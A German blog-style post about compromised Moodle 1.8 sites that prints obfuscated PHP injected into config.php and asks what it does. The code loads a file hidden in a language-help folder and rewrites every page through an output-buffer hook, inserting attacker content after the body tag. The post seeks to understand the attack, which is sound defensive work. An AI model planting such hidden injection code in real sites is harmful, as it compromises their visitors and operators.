Moodlehack – kann das jemand decodieren?
Frühere Versionen von Moodle, insbesondere die 1.8er-Reihe bekamen des Öfteren Besuch (neuere 1.8er-Versionen,. z.B. 1.8.9 sind gefixt), wobei dieser Code in die config.php eingeschleust wurde (hier unvollständig dargestellt – hier Volltext):
if(function_exists(‚ob_start‘)&&!isset($GLOBALS[’sh_no‘])){$GLOBALS[’sh_no‘]=1;if(file_exists(‚/path/to/moodle/lang/be/help/resource/type/mdl_utf.php‘)){include_once(‚/home/www/web10/html/moodle/lang/be/help/resource/type/mdl_utf.php‘);if(function_exists(‚gml‘)&&!function_exists(‚dgobh‘)){if(!function_exists(‚gzdecode‘)){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack(‚v‘,substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header(‚Content-Encoding: none‘);$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match(‚/\<body/si‘,$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace(‚/(\<body[^\>]*\>)/si‘,‘$1‘.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start(‚dgobh‘);}}}
Der Code ist schonmal so mies, dass das Moodlesystem nach dem Einschleusen teilweise nicht mehr funktioniert und so der Hack schnell erkannt ist. Mich würde interessieren, was der Code genau bezwecken soll, damit man etwas über die Motivation des „Angreifers“ erfährt. Will er nur spammen? Will er Daten klauen? Ist die Datenbank nach einem erfolgreichen Hack noch zu gebrauchen? Auf jeden Fall wird auf die imap- und mcrypt-Funktionalität von PHP zurückgegriffen…